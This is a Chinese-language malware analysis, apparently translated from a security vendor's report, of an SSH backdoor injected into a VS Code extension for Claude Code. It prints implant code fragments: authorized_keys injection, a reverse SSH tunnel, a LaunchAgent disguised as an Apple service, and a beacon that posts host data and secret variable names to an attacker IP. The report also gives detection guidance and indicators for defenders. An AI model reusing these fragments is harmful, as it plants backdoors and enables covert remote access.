Claude Code VSCode 插件遭植入 SSH 后门

原标题:Official Claude Code extension compromise
92AI 研判分

安全公司 Phorion 发现 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展(版本 2.1.313)被植入持久化 SSH 后门。该恶意代码支持 macOS、Linux 和 Windows,旨在建立隐蔽隧道并获取系统权限。Cursor 已紧急下架相关版本并从 NPM 及 VSCode 注册表中移除。

报道正文

本文目录17 个章节

TL;DR

Phorion 在 Cursor Marketplace 上检测到官方 Claude Code for VS Code 扩展包中存在一个后门,该后门会在 macOS、Linux 和 Windows 系统中植入持久化的 SSH 后门。本文主要聚焦于 macOS,探讨该扩展如何尝试配置 SSH 后门并建立持久化机制。

各组织应立即排查其环境中是否使用了版本为 2.1.313 的 Claude Code for VSCode 扩展,若发现使用该扩展,应启动事件响应流程。

Phorion 发现 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展遭到入侵,被植入后门的扩展包中包含一个持久化的 Secure Shell (SSH) 后门。Cursor 已从其市场下架相关版本,并从各自的注册表中移除了 NPM 和 VSCode 的 2.1.313 版本。

尽管该植入程序包含针对 macOS、Linux 和 Windows 的安装与持久化逻辑,但本文将主要聚焦于 macOS,并在过程中指出其他平台的关键差异及若干实现缺陷。

Cursor Marketplace 为 Cursor 编辑器提供扩展服务。由于扩展以 IDE 及其运行用户的权限执行,一旦模块加载,被植入后门的扩展即可立即访问本地文件、源代码和开发者工具。

值得注意的是,Phorion 发现恶意软件在尝试启用 SSH 时存在一处可能的疏漏。其安装逻辑假设可以在没有 root 权限的情况下检查当前的远程登录(Remote Login)状态。当以标准用户身份运行时,systemsetup -getremotelogin 会打印管理员权限错误并以状态码 0 退出,而不是返回 Off。由于脚本仅在输出匹配 Off 时才尝试启用 SSH,因此完全跳过了启用步骤。对于尚未运行 SSH 的 Mac 而言,这一失误破坏了入站访问路径,尽管 SSH 密钥和持久化机制仍会被植入。

在本文中,我们将深入剖析该后门的工作原理、为何 macOS 上的检查会失败,以及在您的设备集群中需要关注哪些迹象。该载荷的目标是获取长期的交互式访问权限,虽然 SSH 后门漏洞降低了其在 macOS 上的影响,但该恶意软件仍然构成重大威胁,它会安装持久化机制并将主机侦察信息回传给攻击者。

感染链

Cursor Marketplace 扩展

被篡改的 extension.js 文件开头包含一个注入的立即执行函数表达式(IIFE),该 IIFE 被前置到压缩后的扩展程序包中。包的其余部分看起来与标准扩展程序无异,包含 Claude Code 和 VS Code 字符串、正常的 activate 和 deactivate 导出以及 UI 代码。

注入的前缀引入了标准的 Node.js 模块(child_process、fs、os、path、http 和 crypto),并在 Node 加载文件时立即执行,甚至在扩展程序的正常 activate 回调运行之前。用户无需与扩展程序进行任何交互,恶意载荷即可触发。

阶段 1 - 准备 SSH 访问

首先,恶意载荷确保 ~/.ssh 目录存在,并将攻击者控制的 Ed25519 公钥追加到 ~/.ssh/authorized_keys 文件中,同时将目录权限设置为 0700,文件权限设置为 0600。

该密钥使用的注释为 svc-telemetry。在追加之前,脚本会检查文件中是否已存在 svc-telemetry 字符串,而不是检查密钥本身。在排查此类活动时,建议检查公钥指纹,而不要仅依赖注释字符串。

JAVASCRIPT
var sd = path.join(HOME, ".ssh"),
    ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
  fs.appendFileSync(ak, PUB + "\n");
  d.sshKey = "added"
} else {
  d.sshKey = "present"
}

在此处,cur 保存了 authorized_keys 文件的现有内容,而 PUB 是嵌入的攻击者公钥(此处已脱敏)。

一旦密钥就位,持有匹配私钥的任何人都可以以该用户身份进行身份验证,前提是 SSH 服务实际正在运行。脚本的下一步尝试确保本地 SSH 守护进程已启用并处于监听状态:

  • Linux: 尝试通过 systemctl 启用并启动 sshd 或 ssh,如果失败则回退使用 service 和 /etc/init.d/。
  • macOS: 检查远程登录(Remote Login)状态,如果报告为 Off,则尝试通过 sudo -n systemsetup -setremotelogin on 启用它。
  • Windows: 尝试使用 PowerShell 安装并启动 OpenSSH Server。

这些步骤均未包含提权漏洞利用。除非用户已经缓存或配置了免密码 sudo,否则非交互式 sudo -n 将会失败,因此在标准用户上下文中启动系统服务并不总能成功。

看起来 Windows 代码路径也存在自己的 bug:它通过一个硬编码了 /bin/sh 的辅助函数(det())来传递 PowerShell 服务设置命令,这在标准 Windows 安装上根本行不通。

macOS SSH 逻辑中的 Bug?

在 macOS 上,设置过程可能在执行到 sudo 命令之前就会遇到问题。脚本在未提权的情况下运行 systemsetup -getremotelogin,并将输出结果与正则表达式 /Off/i 进行匹配测试。只有当输出包含 Off 时,它才会尝试启用远程登录(Remote Login):

JAVASCRIPT
// ...
else if (PLAT === "darwin") {
  var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
  d.remoteLogin = rl;
  if (/Off/i.test(rl)) {
    det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
    d.remoteLoginOn = "tried"
  }
}

请注意,第二条命令(-setremotelogin on)使用了 sudo -n,而第一条命令(-getremotelogin)却没有使用。当你在 macOS 上以普通用户身份运行 systemsetup -getremotelogin 时,你会得到如下输出:

TEXT
You need administrator access to run this tool... exiting!

systemsetup 拒绝在没有管理员权限的情况下读取该设置,将错误信息打印到 stdout,并以状态码 0 退出。恶意软件的 ex() 辅助函数会抓取 stdout 并返回其内容:

JAVASCRIPT
function ex(c, t) {
  try {
    return cp.execSync(c, {
      timeout: t || 3000,
      stdio: ["ignore", "pipe", "ignore"],
      windowsHide: true
    }).toString().trim()
  } catch (e) {
    return ""
  }
}

由于输出内容是 "You need administrator access to run this tool... exiting!",因此 /Off/i.test(rl) 的计算结果为 false。

结果是,脚本跳过了 if 代码块,从未运行 sudo -n systemsetup -setremotelogin on。它实际上将“我没有权限检查 SSH 是否关闭”等同于“SSH 已经开启”,这也解释了为什么当扩展以普通用户身份运行时,你在进程遥测数据中看不到任何启用尝试。

这个 bug 可能会破坏访问链的最后一步。 如果 Mac 上的远程登录尚未启用,出站隧道仍然可以连接到攻击者的服务器,但通过隧道转发回来的任何流量都会命中 localhost 上已关闭的 22 端口。

当然,这并不能作为一种可靠的防御手段。如果用户此前已经启用了远程登录,或者后来手动开启了它,后门就会随时待命。

第二阶段 - 建立反向 SSH 隧道

接下来,脚本以 tunnel 用户身份在端口 22 上建立到 134.209.82[.]225 的出站 SSH 连接。为了对攻击者的服务器进行身份验证,它会解码一个单独嵌入的私钥:这是一个未加密的 OpenSSH Ed25519 密钥,注释为 svc-telemetry-tun。

在调查过程中,务必区分这两个密钥:

  • 添加到 ~/.ssh/authorized_keys 中的公钥(svc-telemetry)允许攻击者登录受害者的机器。
  • 嵌入的私钥(svc-telemetry-tun)允许受害者的机器向外连接到攻击者的隧道服务器。

该脚本将此隧道密钥写入操作系统临时目录,文件名以 .stk_ 开头,后跟主机名和主目录路径 MD5 哈希值的前十个字符:

JAVASCRIPT
var kf = path.join(
  TMP,
  ".stk_" + crypto.createHash("md5")
    .update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";

隧道使用 -R *:0:localhost:22 进行远程端口转发。传入 0 会请求攻击者的 SSH 服务器动态分配一个监听端口,并将任何到达该端口的流量通过隧道转发回受害者机器上的 localhost:22:

TEXT
受影响的主机 -- 出站 SSH 隧道 --> 外部 SSH 服务器

操作员 -- 独立连接 --> 服务器分配的端口
                                            |
                                 通过现有隧道
                                            |
                                            v
                                  受影响主机的 SSH:22
                                            |
                                  使用植入的密钥登录

由于隧道运行时带有 -N 参数,它仅保持端口转发打开,而不在远程服务器上执行命令。当操作员想要访问该机器时,他们会通过其服务器上分配的端口启动一个独立的 SSH 会话,并使用第一阶段植入的密钥对受害者本地的 SSH 守护进程进行身份验证。这使他们能够获得完整的交互式 shell 和文件传输功能,而无需在 JavaScript 本身中处理任何自定义 C2 命令。

SSH 命令还传递了若干标志,以保持连接静默且非交互式:禁用主机密钥检查、忽略 known_hosts、启用 BatchMode 和 IdentitiesOnly、将保活时间设置为 30 秒(ServerAliveCountMax=3),并开启 ExitOnForwardFailure。

如果安装了 autossh,脚本会使用它;否则回退到标准的 ssh。它将连接封装在一个分离的重试循环中,每次尝试之间休眠 60 秒,并在 Unix 系统上使用 pgrep 以避免启动重复的初始隧道。由于该循环是分离运行的,即使用户关闭 IDE,隧道仍会保持活动状态。

阶段 3 - 保持访问可用

为了在重启后存活,脚本除了建立初始分离隧道外,还设置了特定于平台的持久化机制:

平台工件持久化机制备注
Linux~/.config/.smt, ~/.config/.smtk写入一个 shell 脚本,用于重建隧道密钥并循环 SSH 连接,然后在用户的 crontab 中添加一个 @reboot 条目。crontab 检查中存在一个 bug,可能在重复运行时清除现有的用户 cron 任务(详见下文)。
macOS~/.config/.smt, ~/.config/.smtk, ~/Library/LaunchAgents/com.apple.sysmond.plist写入一个用户 LaunchAgent,以 RunAtLoad 和 KeepAlive 设置为 true 的方式运行 /bin/sh ~/.config/.smt,然后通过 launchctl 加载它。在用户上下文中运行,而非作为 root LaunchDaemon。
Windows~/.config/smt.cmd, ~/.config/smtk, %APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd尝试创建一个名为 SysMon 的计划任务,以 SYSTEM 身份在启动时运行。如果失败,则将 sysmon.cmd 放入用户的 Startup 文件夹。创建 SYSTEM 任务需要管理员权限;Startup 文件夹的回退方案在登录时以用户身份运行。

在 macOS 和 Linux 上,~/.config/.smt 脚本内部嵌入了隧道私钥,并在启动重连循环之前将其写出到 ~/.config/.smtk。

在 macOS 上,LaunchAgent 伪装成位于 ~/Library/LaunchAgents/ 中的 com.apple.sysmond.plist:

XML
<key>Label</key>
<string>com.apple.sysmond</string>
<!-- ... -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>

阶段 4 - 主机侦察

最后,脚本收集基本的主机侦察信息,并向攻击者的服务器发送一次性信标:

  • 主机名、用户名、操作系统平台及架构
  • 主目录、当前工作目录以及全局 Git 邮箱(git config --global user.email)
  • 公网 IP 地址及各安装阶段的状态标志(例如是否已添加 SSH 密钥,以及执行了哪种持久化方法)
  • 最多 40 个匹配正则表达式 /KEY|TOKEN|SECRET|PASS|AWS|GCP/i 的环境变量名称(而非值)

环境变量检查使用了 Object.keys(process.env):

JAVASCRIPT
Object.keys(process.env)
  .filter(function(k) {
    return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
  })
  .slice(0, 40)

由于它仅获取变量名称,该信标(beacon)不会泄露机密值本身。相反,它为攻击者提供了一份快速清单,列出机器上存在哪些云凭证或 API 令牌,从而让他们知道应优先针对哪些主机。

为了获取机器的公网 IP,脚本查询 ifconfig[.]me,如果失败则回退到 api[.]ipify[.]org。

随后,它通过明文 HTTP POST 请求将 JSON 报告发送到 134.209.82[.]225:8099 和 127.0.0.1:8099 上的 /beacon 端点:

JAVASCRIPT
var r = http.request({
  host: h,
  port: p,
  path: "/beacon",
  method: "POST",
  timeout: 3000,
  headers: {"content-type": "application/json"}
}, function(res) {
  res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()

从样本中无法明确看出为何还要向 127.0.0.1:8099 发送一份信标副本;脚本本身并未在该端口设置本地监听器。

该信标通过 setTimeout 调度一次(在初始安装运行后 1.5 秒),并通过 res.resume() 丢弃任何 HTTP 响应。这纯粹是一个签到机制,用于告知攻击者主机已就绪,而实际的访问则由 SSH 隧道处理。

检测机会

从检测角度来看,在 macOS 上使用 Endpoint Security Framework (ESF) 遥测数据时,此攻击链中有几种行为非常显眼。

SSH 密钥与配置更改

由于恶意软件直接使用 Node.js 的 fs.appendFileSync 追加内容到 ~/.ssh/authorized_keys,因此仅监控如 echo 或 tee 等触及 authorized_keys 的 shell 命令的进程规则将无法捕获此行为。这就是文件修改遥测数据至关重要的地方:需要监控 IDE 辅助进程(如 Code Helper、Cursor Helper 等)创建或写入 ~/.ssh/authorized_keys 的行为。

尽管 IDE 二进制文件本身具有有效的数字签名,但其扩展宿主进程在后台修改 SSH 身份验证文件是完全不合理的。

虽然你也应当监控 systemsetup -setremotelogin on 命令,但不要将其作为针对此攻击活动发出警报的必要条件。正如上文所述,macOS 上的状态检查存在缺陷,这意味着该命令往往根本不会执行。

用户 LaunchAgent 持久化

macOS 上的持久化设置为我们提供了几个强有力的信号:

  • 一个非 Apple 进程写入带有 com.apple.* 标签的 plist 文件(~/Library/LaunchAgents/com.apple.sysmond.plist)。
  • 一个配置为在用户主目录中针对隐藏脚本执行 /bin/sh 的 LaunchAgent(~/.config/.smt)。

由于初始隧道是作为分离进程生成的,且后续由 launchd 直接管理 .smt,因此在实时进程树中,后续的 ssh 进程不会以 IDE 作为其直接父进程。将 .smt 和 com.apple.sysmond.plist 的文件创建行为与 IDE 扩展主机关联起来,可以更容易地拼凑出完整的攻击链。

在进程和网络层面,请查找以下迹象:

  • 使用远程端口转发(-R *:0:localhost:22)启动的 ssh 或 autossh,且身份文件来自 /tmp/.stk_* 或 ~/.config/.smtk。
  • 向 134.209.82[.]225 的 22 端口发起出站 SSH 连接,以及向 134.209.82[.]225:8099 发送 HTTP POST 请求(同时伴随对 127.0.0.1:8099 的连接尝试)。

如果你发现某台主机运行了此扩展,重要的是要检查隧道是仅仅建立了连接,还是攻击者实际上通过它登录了系统。由于入站会话是通过本地端口转发到达的,SSH 日志中的成功登录记录将显示为来自 localhost(127.0.0.1 或 ::1),并使用 svc-telemetry 密钥进行认证。

补救措施

如果你识别出受影响的主机,仅卸载该扩展并不能移除后门。请确保你的响应措施涵盖其植入的所有阶段:

  1. 终止活跃的隧道进程: 结束 /bin/sh 重试循环,以及任何连接到 134.209.82[.]225 的 ssh 或 autossh 进程。
  2. 移除持久化机制: 在 macOS 上卸载并删除 ~/Library/LaunchAgents/com.apple.sysmond.plist(或在 Linux 上清理 @reboot cron 条目 / 在 Windows 上清理 SysMon 计划任务和启动脚本),并删除 ~/.config/.smt 和 ~/.config/.smtk。
  3. 清理 SSH 密钥和状态: 从 ~/.ssh/authorized_keys 中移除 svc-telemetry 公钥,删除 /tmp/.stk_*,并验证远程登录(SSH)是否被意外启用。
  4. 轮换凭证: 如果主机启用了 SSH,或者有证据表明存在入站登录行为,请轮换该用户账户可访问的任何凭证或令牌(特别是那些匹配 KEY|TOKEN|SECRET|PASS|AWS|GCP 环境变量过滤器的凭证)。

Phorion 的应对方案

Phorion 开箱即用的检测覆盖范围通过多条规则标记了此次攻击中使用的 macOS 持久化机制,包括非 Apple 进程创建 com.apple.* LaunchAgents,以及 LaunchAgents 执行来自隐藏目录的 shell 脚本。

除了持久化机制外,Phorion 的文件访问遥测功能捕获到了 IDE 扩展宿主直接修改 ~/.ssh/authorized_keys 的行为,并且可以使用 Phorion Protections 锁定 ~/.ssh/ 目录,从而确保只有授权进程才能读取或修改 SSH 密钥和配置文件。

如果您想了解 Phorion 如何在您的 Mac 设备群中检测和阻止此类供应链威胁,请 联系我们安排演示。

指标

样本与公钥指纹

指标值备注
SHA-256ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15被植入后门的 extension.js 包
受害者登录公钥指纹SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk追加到 ~/.ssh/authorized_keys 中的 Ed25519 密钥(注释为 svc-telemetry)
隧道公钥指纹SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ用于向隧道服务器进行身份验证的嵌入式 Ed25519 密钥(注释为 svc-telemetry-tun)

网络指标

指标类型备注
134.209.82[.]225 (TCP 22, user tunnel)IP / SSH出站反向 SSH 隧道服务器
134.209.82[.]225:8099 (POST /beacon)IP / HTTP外部主机报告信标端点
127.0.0.1:8099 (POST /beacon)Loopback / HTTP本地信标目标
ifconfig[.]me, api[.]ipify[.]orgDomain用于查询公共 IP 的合法服务

主机痕迹

痕迹平台备注
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64macOS (Apple Silicon)已安装的扩展目录(<ide> 因编辑器而异)
~/.ssh/authorized_keys (comment svc-telemetry)All植入的 Ed25519 公钥
<TMP>/.stk_<10 hex chars> ($TMPDIR/.stk_* on macOS)All操作系统临时目录中的初始隧道私钥(后缀为 MD5(hostname + HOME) 的前 10 个十六进制字符)
~/.config/.smt and ~/.config/.smtkmacOS, Linux持久化 Shell 脚本及重建的隧道私钥
~/Library/LaunchAgents/com.apple.sysmond.plistmacOS执行 /bin/sh ~/.config/.smt 的用户 LaunchAgent
@reboot cron entry for ~/.config/.smtLinux用户 crontab 持久化
~/.config/smt.cmd and ~/.config/smtkWindows持久化批处理脚本及隧道私钥
Scheduled task SysMonWindows启动计划任务(请求 SYSTEM 权限)
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmdWindows启动文件夹备用脚本